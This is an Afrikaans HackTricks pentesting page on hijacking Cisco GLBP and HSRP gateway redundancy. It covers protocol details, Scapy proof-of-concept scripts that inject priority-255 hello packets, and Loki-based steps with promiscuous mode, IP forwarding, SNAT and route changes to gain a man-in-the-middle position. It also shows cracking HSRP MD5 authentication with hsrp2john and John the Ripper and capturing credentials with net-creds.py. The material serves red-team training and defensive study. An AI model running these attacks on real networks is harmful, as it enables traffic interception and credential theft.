GLBP & HSRP Attacks

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

FHRP Hijacking Overview

Insigte in FHRP

FHRP is ontwerp om netwerkrobuustheid te verskaf deur meerdere routers in ’n enkele virtuele eenheid te verenig, en sodoende belastingverdeling en foutverdraagsaamheid te verbeter. Cisco Systems het prominente protokolle in hierdie suite bekendgestel, soos GLBP en HSRP.

GLBP Protokolinsigte

Cisco se skepping, GLBP, werk op die TCP/IP-stapel en gebruik UDP op poort 3222 vir kommunikasie. Routers in ’n GLBP-groep ruil “hello”-pakkette elke 3 sekondes uit. As ’n router nie hierdie pakkette vir 10 sekondes stuur nie, word dit as aflyn beskou. Hierdie timers is egter nie vas nie en kan aangepas word.

GLBP vir IPv6 gebruik multicast FF02::66 oor UDP/3222, en die virtuele MAC-formaat word 0007.b4xx.xxyy (AVF ID is in die laaste byte). Die tydinstellings en attack surface bly dieselfde as in IPv4, dus werk hijack techniques nog steeds in dual‑stack-netwerke.

GLBP Operasies en Lasverdeling

GLBP onderskei hom deur lasverdeling oor routers moontlik te maak met ’n enkele virtuele IP gekoppeld aan meerdere virtuele MAC-adresse. In ’n GLBP-groep is elke router betrokke by pakketdoorstuur. Anders as HSRP/VRRP, bied GLBP werklike belastingbalansering deur verskeie meganismes:

  • Host-Dependent Load Balancing: Behou ’n konsekwente AVF MAC-adrestoekenning aan ’n host, noodsaaklik vir stabiele NAT-konfigurasies.
  • Round-Robin Load Balancing: Die verstekmetode, wat AVF MAC-adrestoekenning afwissel tussen versoekende hosts.
  • Weighted Round-Robin Load Balancing: Versprei die las gebaseer op voorafbepaalde “Weight”-metrieks.

Sleutelkomponente en terminologieë in GLBP

  • AVG (Active Virtual Gateway): Die primêre router, verantwoordelik vir die toewysing van MAC-adresse aan peer-routers.
  • AVF (Active Virtual Forwarder): ’n Router aangewys om netwerkverkeer te hanteer.
  • GLBP Priority: ’n Metriek wat die AVG bepaal, begin standaard by 100 en wissel tussen 1 en 255.
  • GLBP Weight: Weerspieël die huidige las op ’n router, aanpasbaar handmatig of deur Object Tracking.
  • GLBP Virtual IP Address: Dien as die netwerk se standaardgateway vir alle gekoppelde toestelle.

Vir interaksies gebruik GLBP die gereserveerde multicast-adres 224.0.0.102 en UDP-poort 3222. Routers stuur “hello”-pakkette elke 3 sekondes, en word as nie-operasioneel beskou as ’n pakket oor ’n 10-sekonde tydperk gemis word.

GLBP Attack Mechanism

’n Aanvaller kan die primêre router word deur ’n GLBP-pakket te stuur met die hoogste prioriteitswaarde (255). Dit kan lei tot DoS- of MITM-aanvalle, wat verkeerintersepsie of herleiing moontlik maak.

Practical GLBP hijack with Scapy (short PoC)

from scapy.all import *

vip = "10.10.100.254"          # learned from sniffing
pkt = IP(dst="224.0.0.102")/UDP(dport=3222,sport=3222)/Raw(
b"\x01\x00\xff\x64"      # Version=1, Opcode=Hello, Priority=255, Weight=100
)
send(pkt, iface="eth0", loop=1, inter=1)

Stel die payload bytes saam om die GLBP header (version/opcode/priority/weight/VRID) na te boots. Deurlopende herhaling van die frame verseker dat jy die AVG-election wen as authentication afwesig is.

Uitvoering van ’n GLBP-aanval met Loki

Loki kan ’n GLBP-aanval uitvoer deur ’n packet in te spuit met priority en weight ingestel op 255. Voor-aanvals stappe behels inligting-insameling soos die virtual IP address, die teenwoordigheid van authentication, en router priority waardes met gereedskap soos Wireshark.

Attack Steps:

  1. Skakel promiscuous mode aan en aktiveer IP forwarding.
  2. Identifiseer die teiken-router en haal sy IP af.
  3. Genereer ’n Gratuitous ARP.
  4. Spuit ’n kwaadwillige GLBP packet in deur die AVG te impersonate.
  5. Ken ’n sekondêre IP-adres toe aan die aanvaller se netwerkinterface, wat die GLBP virtual IP naboots.
  6. Implementeer SNAT vir volle verkeersinsig.
  7. Pas routing aan om voortgesette internettoegang deur die oorspronklike AVG-router te verseker.

Deur hierdie stappe te volg, posisioneer die aanvaller homself as ’n “man in the middle”, in staat om netwerkverkeer te onderskep en te ontleed, insluitend ongeënkripteerde of sensitiewe data.

Vir demonstrasie, hier is die vereiste command snippets:

# Enable promiscuous mode and IP forwarding
sudo ip link set eth0 promisc on
sudo sysctl -w net.ipv4.ip_forward=1

# Configure secondary IP and SNAT
sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

# Adjust routing
sudo route del default
sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100

Monitering en onderskep van verkeer kan gedoen word met net-creds.py of soortgelyke tools om data wat deur die gekompromitteerde netwerk vloei vas te vang en te ontleed.

Passiewe verduideliking van HSRP Hijacking met opdragbesonderhede

Oorsig van HSRP (Hot Standby Router/Redundancy Protocol)

HSRP is ’n Cisco-eie protokol ontwerp vir redundansie van netwerk-gateways. Dit maak dit moontlik om verskeie fisiese routers te konfigureer as een logiese eenheid met ’n gedeelde IP-adres. Hierdie logiese eenheid word bestuur deur ’n primêre router wat verantwoordelik is vir die rigting van verkeer. Anders as GLBP, wat metings soos prioriteit en gewig vir vragbalansering gebruik, vertrou HSRP op ’n enkele aktiewe router vir verkeersbestuur.

HSRPv1 gebruik multicast 224.0.0.2 en virtuele MAC 0000.0c07.acXX; HSRPv2 en HSRPv2 vir IPv6 gebruik 224.0.0.102 / FF02::66 en virtuele MAC 0000.0c9f.fXXX. UDP bestemmingspoort is 1985 vir IPv4 en 2029 vir IPv6.

Rolle en terminologie in HSRP

  • HSRP Active Router: Die toestel wat as die gateway optree en die verkeersvloei bestuur.
  • HSRP Standby Router: ’n Rugsteun-router, gereed om oor te neem as die aktiewe router faal.
  • HSRP Group: ’n Groep routers wat saamwerk om ’n enkele veerkragtige virtuele router te vorm.
  • HSRP MAC Address: ’n Virtuele MAC-adres wat toegeken is aan die logiese router in die HSRP-opstelling.
  • HSRP Virtual IP Address: Die virtuele IP-adres van die HSRP-groep, wat dien as die standaard gateway vir gekoppelde toestelle.

HSRP-weergawes

HSRP kom in twee weergawes, HSRPv1 en HSRPv2, wat hoofsaaklik verskil in groepkapasiteit, gebruik van multicast IP’s en die struktuur van die virtuele MAC-adres. Die protokol gebruik spesifieke multicast-IP-adresse vir die uitruil van diensinligting, met Hello-pakkette wat elke 3 sekondes gestuur word. ’n Router word as inaktief beskou as geen pakket binne ’n 10-sekonde interval ontvang word.

HSRP-aanvalsmeganisme

HSRP-aanvalle behels die gedwonge oorname van die rol van die Active Router deur ’n maksimum prioriteitswaarde in te spuit. Dit kan lei tot ’n Man-In-The-Middle (MITM) aanval. Noodsaaklike stappe voor die aanval sluit in die insameling van data oor die HSRP-opstelling, wat gedoen kan word met Wireshark vir verkeersontleding.

Vinnige HSRP takeover met Scapy

from scapy.all import *

vip = "10.10.100.1"
pkt = IP(dst="224.0.0.102")/UDP(sport=1985,dport=1985)/Raw(
b"\x00\x02\xff\x03\x00\x00\x00\x01"  # Hello, priority 255, group 1
)
send(pkt, iface="eth0", inter=1, loop=1)

As authentication nie geaktiveer is nie, dwing die voortdurende stuur van hellos met ’n hoër prioriteit peers in die Speak/Listen state en laat dit jou toe om Active te word, wat verkeer deur jou gasheer herlei.

HSRP authentication randgevalle

  • Legacy plain-text auth is trivially spoofable.
  • MD5 authentication only covers the HSRP payload; crafted packets can still rate-limit/DoS control planes. NX-OS releases previously allowed DoS against authenticated groups (see Cisco advisory CSCup11309).
  • On many ISP / VPS shared VLANs, HSRPv1 multicasts are visible to tenants; without auth you can join and preempt traffic.

Stappe om HSRP Authentication te omseil

  1. Stoor die netwerkverkeer wat HSRP-data bevat as ’n .pcap-lêer.
tcpdump -w hsrp_traffic.pcap
  1. Haal MD5-hashes uit die .pcap-lêer met hsrp2john.py.
python2 hsrp2john.py hsrp_traffic.pcap > hsrp_hashes
  1. Kraak die MD5-hashes met John the Ripper.
john --wordlist=mywordlist.txt hsrp_hashes

Uitvoering van HSRP Injection met Loki

  1. Voer Loki uit om HSRP-advertensies te identifiseer.
  2. Stel die netwerk-koppelvlak in op promiscuous mode en skakel IP forwarding aan.
sudo ip link set eth0 promisc on
sudo sysctl -w net.ipv4.ip_forward=1
  1. Gebruik Loki om die spesifieke router te teiken, voer die gekraakte HSRP-wagwoord in en maak die nodige konfigurasies om die Active Router te imiteer.
  2. Sodra jy die Active Router-rol verkry het, konfigureer jou netwerk-koppelvlak en iptables om die wettige verkeer te onderskep.
sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
  1. Verander die roeteringstabel om verkeer deur die voormalige Active Router te stuur.
sudo route del default
sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100
  1. Gebruik net-creds.py of ’n soortgelyke nutsprogram om aanmeldbewyse uit die onderskepte verkeer te vang.
sudo python2 net-creds.py -i eth0

Deur hierdie stappe uit te voer plaas dit die aanvaller in ’n posisie om verkeer te onderskep en te manipuleer, soortgelyk aan die prosedure vir GLBP hijacking. Dit beklemtoon die kwesbaarheid in redundansieprotokolle soos HSRP en die behoefte aan robuuste sekuriteitsmaatreëls.

References

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks